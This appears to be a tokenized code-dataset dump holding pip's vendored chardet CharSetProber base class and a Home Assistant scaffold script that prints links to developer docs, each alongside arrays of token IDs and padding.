1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
mcgoddard/widgetr
|
env/Lib/site-packages/pip/_vendor/requests/packages/chardet/charsetprober.py
|
3127
|
1902
|
######################## BEGIN LICENSE BLOCK ########################
# The Original Code is Mozilla Universal charset detector code.
#
# The Initial Developer of the Original Code is
# Netscape Communications Corporation.
# Portions created by the Initial Developer are Copyright (C) 2001
# the Initial Developer. All Rights Reserved.
#
# Contributor(s):
# Mark Pilgrim - port to Python
# Shy Shalom - original C code
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
# 02110-1301 USA
######################### END LICENSE BLOCK #########################
from . import constants
import re
class CharSetProber:
def __init__(self):
pass
def reset(self):
self._mState = constants.eDetecting
def get_charset_name(self):
return None
def feed(self, aBuf):
pass
def get_state(self):
return self._mState
def get_confidence(self):
return 0.0
def filter_high_bit_only(self, aBuf):
aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf)
return aBuf
def filter_without_english_letters(self, aBuf):
aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf)
return aBuf
def filter_with_english_letters(self, aBuf):
# TODO
return aBuf
|
mit
|
[
6565,
16427,
5113,
8068,
11945,
199,
3,
710,
12769,
5495,
365,
17728,
29347,
5960,
17842,
1233,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
20433,
18686,
11098,
14,
199,
3,
20825,
2737,
701,
314,
6026,
9607,
787,
1898,
334,
35,
9,
12521,
199,
3,
314,
6026,
9607,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
7173,
19641,
446,
1844,
370,
2018,
199,
3,
257,
428,
3577,
5244,
279,
676,
446,
3379,
445,
1233,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
504,
1275,
492,
5262,
199,
646,
295,
421,
199,
533,
31727,
26,
272,
347,
636,
826,
721,
277,
304,
267,
986,
339,
347,
5305,
8,
277,
304,
267,
291,
423,
31984,
275,
5262,
14,
69,
20064,
316,
339,
347,
664,
63,
6043,
63,
354,
8,
277,
304,
267,
372,
488,
339,
347,
4733,
8,
277,
12,
17407,
304,
267,
986,
339,
347,
664,
63,
929,
8,
277,
304,
267,
372,
291,
423,
31984,
339,
347,
664,
63,
13969,
8,
277,
304,
267,
372,
378,
14,
16,
339,
347,
2457,
63,
6260,
63,
2075,
63,
2118,
8,
277,
12,
17407,
304,
267,
17407,
275,
295,
14,
954,
8,
66,
7,
16510,
88,
383,
2696,
88,
23,
38,
566,
7386,
330,
7,
1656,
17407,
9,
267,
372,
17407,
339,
347,
2457,
63,
7395,
63,
17872,
63,
16415,
8,
277,
12,
17407,
304,
267,
17407,
275,
295,
14,
954,
8,
66,
21731,
33,
13,
13163,
13,
90,
566,
7386,
330,
7,
1656,
17407,
9,
267,
372,
17407,
339,
347,
2457,
63,
1045,
63,
17872,
63,
16415,
8,
277,
12,
17407,
304,
267,
327,
3254,
267,
372,
17407,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
16427,
5113,
8068,
11945,
199,
3,
710,
12769,
5495,
365,
17728,
29347,
5960,
17842,
1233,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
20433,
18686,
11098,
14,
199,
3,
20825,
2737,
701,
314,
6026,
9607,
787,
1898,
334,
35,
9,
12521,
199,
3,
314,
6026,
9607,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
17636,
8,
83,
304,
199,
3,
257,
7173,
19641,
446,
1844,
370,
2018,
199,
3,
257,
428,
3577,
5244,
279,
676,
446,
3379,
445,
1233,
199,
3,
199,
3,
961,
3555,
365,
2867,
2032,
27,
1265,
883,
3604,
652,
436,
15,
269,
199,
3,
2811,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
465,
3267,
701,
314,
2868,
2290,
2752,
27,
1902,
199,
3,
1015,
499,
14,
17,
402,
314,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
961,
3555,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
1664,
199,
3,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
199,
3,
844,
3180,
543,
642,
3555,
27,
340,
440,
12,
2218,
370,
314,
2868,
2290,
199,
3,
2752,
12,
3277,
2020,
8026,
11236,
1933,
12,
12066,
11844,
12,
8226,
12,
4828,
199,
3,
11315,
13,
10067,
221,
8217,
199,
19054,
7729,
5113,
8068,
21186,
199,
199,
504,
1275,
492,
5262,
199,
646,
295,
421,
199,
533,
31727,
26,
272,
347,
636,
826,
721,
277,
304,
267,
986,
339,
347,
5305,
8,
277,
304,
267,
291,
423,
31984,
275,
5262,
14,
69,
20064,
316,
339,
347,
664,
63,
6043,
63,
354,
8,
277,
304,
267,
372,
488,
339,
347,
4733,
8,
277,
12,
17407,
304,
267,
986,
339,
347,
664,
63,
929,
8,
277,
304,
267,
372,
291,
423,
31984,
339,
347,
664,
63,
13969,
8,
277,
304,
267,
372,
378,
14,
16,
339,
347,
2457,
63,
6260,
63,
2075,
63,
2118,
8,
277,
12,
17407,
304,
267,
17407,
275,
295,
14,
954,
8,
66,
7,
16510,
88,
383,
2696,
88,
23,
38,
566,
7386,
330,
7,
1656,
17407,
9,
267,
372,
17407,
339,
347,
2457,
63,
7395,
63,
17872,
63,
16415,
8,
277,
12,
17407,
304,
267,
17407,
275,
295,
14,
954,
8,
66,
21731,
33,
13,
13163,
13,
90,
566,
7386,
330,
7,
1656,
17407,
9,
267,
372,
17407,
339,
347,
2457,
63,
1045,
63,
17872,
63,
16415,
8,
277,
12,
17407,
304,
267,
327,
3254,
267,
372,
17407,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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""Print links to relevant docs."""
from .model import Info
DATA = {
"config_flow": {
"title": "Config Flow",
"docs": "https://developers.home-assistant.io/docs/en/config_entries_config_flow_handler.html",
},
"config_flow_discovery": {
"title": "Discoverable Config Flow",
"docs": "https://developers.home-assistant.io/docs/en/config_entries_config_flow_handler.html#discoverable-integrations-that-require-no-authentication",
},
"config_flow_oauth2": {
"title": "OAuth2 Config Flow",
"docs": "https://developers.home-assistant.io/docs/en/next/config_entries_config_flow_handler.html#configuration-via-oauth2",
},
"device_action": {
"title": "Device Action",
"docs": "https://developers.home-assistant.io/docs/en/device_automation_action.html",
},
"device_condition": {
"title": "Device Condition",
"docs": "https://developers.home-assistant.io/docs/en/device_automation_condition.html",
},
"device_trigger": {
"title": "Device Trigger",
"docs": "https://developers.home-assistant.io/docs/en/device_automation_trigger.html",
},
"integration": {
"title": "Integration",
"docs": "https://developers.home-assistant.io/docs/en/creating_integration_file_structure.html",
},
"reproduce_state": {
"title": "Reproduce State",
"docs": "https://developers.home-assistant.io/docs/en/reproduce_state_index.html",
"extra": "You will now need to update the code to make sure that every attribute that can occur in the state will cause the right service to be called.",
},
"significant_change": {
"title": "Significant Change",
"docs": "https://developers.home-assistant.io/docs/en/significant_change_index.html",
"extra": "You will now need to update the code to make sure that entities with different device classes are correctly considered.",
},
}
def print_relevant_docs(template: str, info: Info) -> None:
"""Print relevant docs."""
data = DATA[template]
print()
print("**************************")
print()
print()
print(f"{data['title']} code has been generated")
print()
if info.files_added:
print("Added the following files:")
for file in info.files_added:
print(f"- {file}")
print()
if info.tests_added:
print("Added the following tests:")
for file in info.tests_added:
print(f"- {file}")
print()
if info.examples_added:
print(
"Because some files already existed, we added the following example files. Please copy the relevant code to the existing files."
)
for file in info.examples_added:
print(f"- {file}")
print()
print(
"The next step is to look at the files and deal with all areas marked as TODO."
)
if "extra" in data:
print()
print(data["extra"])
|
apache-2.0
|
[
624,
5375,
6220,
370,
12082,
9149,
1041,
199,
504,
1275,
1238,
492,
10332,
199,
199,
3998,
275,
469,
272,
298,
888,
63,
1659,
582,
469,
267,
298,
1213,
582,
298,
2028,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
401,
272,
1660,
272,
298,
888,
63,
1659,
63,
14859,
582,
469,
267,
298,
1213,
582,
298,
2825,
5899,
461,
4094,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
3,
18861,
461,
13,
5707,
926,
852,
13,
9099,
13,
4365,
13,
889,
13,
11725,
401,
272,
1660,
272,
298,
888,
63,
1659,
63,
6126,
18,
582,
469,
267,
298,
1213,
582,
298,
12906,
18,
4094,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
2184,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
3,
4758,
13,
12897,
13,
6126,
18,
401,
272,
1660,
272,
298,
1782,
63,
1287,
582,
469,
267,
298,
1213,
582,
298,
2510,
10033,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
1287,
14,
1360,
401,
272,
1660,
272,
298,
1782,
63,
5394,
582,
469,
267,
298,
1213,
582,
298,
2510,
28401,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
5394,
14,
1360,
401,
272,
1660,
272,
298,
1782,
63,
7631,
582,
469,
267,
298,
1213,
582,
298,
2510,
24015,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
7631,
14,
1360,
401,
272,
1660,
272,
298,
15092,
582,
469,
267,
298,
1213,
582,
298,
20405,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
20358,
63,
15092,
63,
493,
63,
6976,
14,
1360,
401,
272,
1660,
272,
298,
264,
7832,
63,
929,
582,
469,
267,
298,
1213,
582,
298,
497,
7832,
8511,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
264,
7832,
63,
929,
63,
1080,
14,
1360,
401,
267,
298,
2911,
582,
298,
5556,
911,
3063,
1929,
370,
1678,
314,
1233,
370,
1852,
3238,
626,
4036,
2225,
626,
883,
4781,
315,
314,
1174,
911,
7675,
314,
2451,
2435,
370,
506,
2797,
4765,
272,
1660,
272,
298,
1037,
14266,
63,
1461,
582,
469,
267,
298,
1213,
582,
298,
4940,
14266,
7743,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1037,
14266,
63,
1461,
63,
1080,
14,
1360,
401,
267,
298,
2911,
582,
298,
5556,
911,
3063,
1929,
370,
1678,
314,
1233,
370,
1852,
3238,
626,
9045,
543,
3365,
2243,
3992,
787,
6657,
8652,
4765,
272,
1660,
199,
93,
421,
199,
318,
870,
63,
21906,
63,
4757,
8,
1160,
26,
620,
12,
2256,
26,
10332,
9,
1035,
488,
26,
272,
408,
5375,
12082,
9149,
1041,
272,
666,
275,
7126,
59,
1160,
61,
339,
870,
342,
272,
870,
480,
30948,
538,
531,
272,
870,
342,
272,
870,
342,
272,
870,
8,
70,
14381,
576,
459,
1213,
12074,
1233,
965,
2757,
4046,
531,
272,
870,
342,
272,
340,
2256,
14,
1725,
63,
3270,
26,
267,
870,
480,
20201,
314,
2569,
1584,
9107,
267,
367,
570,
315,
2256,
14,
1725,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
340,
2256,
14,
2219,
63,
3270,
26,
267,
870,
480,
20201,
314,
2569,
2295,
9107,
267,
367,
570,
315,
2256,
14,
2219,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
340,
2256,
14,
8589,
63,
3270,
26,
267,
870,
8,
288,
298,
3655,
2651,
2005,
1584,
2575,
30482,
12,
781,
3483,
314,
2569,
2893,
1584,
14,
7754,
1331,
314,
12082,
1233,
370,
314,
3411,
1584,
2122,
267,
776,
267,
367,
570,
315,
2256,
14,
8589,
63,
3270,
26,
288,
870,
8,
70,
32095,
469,
493,
15412,
267,
870,
342,
339,
870,
8,
267,
298,
1918,
2163,
3650,
365,
370,
3648,
737,
314,
1584,
436,
7962,
543,
1006,
787,
305,
11584,
465,
3254,
2122,
272,
776,
339,
340,
298,
2911,
2,
315,
666,
26,
267,
870,
342,
267,
870,
8,
576,
905,
2911,
3135,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
5375,
6220,
370,
12082,
9149,
1041,
199,
504,
1275,
1238,
492,
10332,
199,
199,
3998,
275,
469,
272,
298,
888,
63,
1659,
582,
469,
267,
298,
1213,
582,
298,
2028,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
401,
272,
1660,
272,
298,
888,
63,
1659,
63,
14859,
582,
469,
267,
298,
1213,
582,
298,
2825,
5899,
461,
4094,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
3,
18861,
461,
13,
5707,
926,
852,
13,
9099,
13,
4365,
13,
889,
13,
11725,
401,
272,
1660,
272,
298,
888,
63,
1659,
63,
6126,
18,
582,
469,
267,
298,
1213,
582,
298,
12906,
18,
4094,
20823,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
2184,
15,
888,
63,
3189,
63,
888,
63,
1659,
63,
2232,
14,
1360,
3,
4758,
13,
12897,
13,
6126,
18,
401,
272,
1660,
272,
298,
1782,
63,
1287,
582,
469,
267,
298,
1213,
582,
298,
2510,
10033,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
1287,
14,
1360,
401,
272,
1660,
272,
298,
1782,
63,
5394,
582,
469,
267,
298,
1213,
582,
298,
2510,
28401,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
5394,
14,
1360,
401,
272,
1660,
272,
298,
1782,
63,
7631,
582,
469,
267,
298,
1213,
582,
298,
2510,
24015,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1782,
63,
23867,
63,
7631,
14,
1360,
401,
272,
1660,
272,
298,
15092,
582,
469,
267,
298,
1213,
582,
298,
20405,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
20358,
63,
15092,
63,
493,
63,
6976,
14,
1360,
401,
272,
1660,
272,
298,
264,
7832,
63,
929,
582,
469,
267,
298,
1213,
582,
298,
497,
7832,
8511,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
264,
7832,
63,
929,
63,
1080,
14,
1360,
401,
267,
298,
2911,
582,
298,
5556,
911,
3063,
1929,
370,
1678,
314,
1233,
370,
1852,
3238,
626,
4036,
2225,
626,
883,
4781,
315,
314,
1174,
911,
7675,
314,
2451,
2435,
370,
506,
2797,
4765,
272,
1660,
272,
298,
1037,
14266,
63,
1461,
582,
469,
267,
298,
1213,
582,
298,
4940,
14266,
7743,
401,
267,
298,
4757,
582,
298,
2859,
921,
23826,
14,
4219,
13,
7310,
14,
2308,
15,
4757,
15,
287,
15,
1037,
14266,
63,
1461,
63,
1080,
14,
1360,
401,
267,
298,
2911,
582,
298,
5556,
911,
3063,
1929,
370,
1678,
314,
1233,
370,
1852,
3238,
626,
9045,
543,
3365,
2243,
3992,
787,
6657,
8652,
4765,
272,
1660,
199,
93,
421,
199,
318,
870,
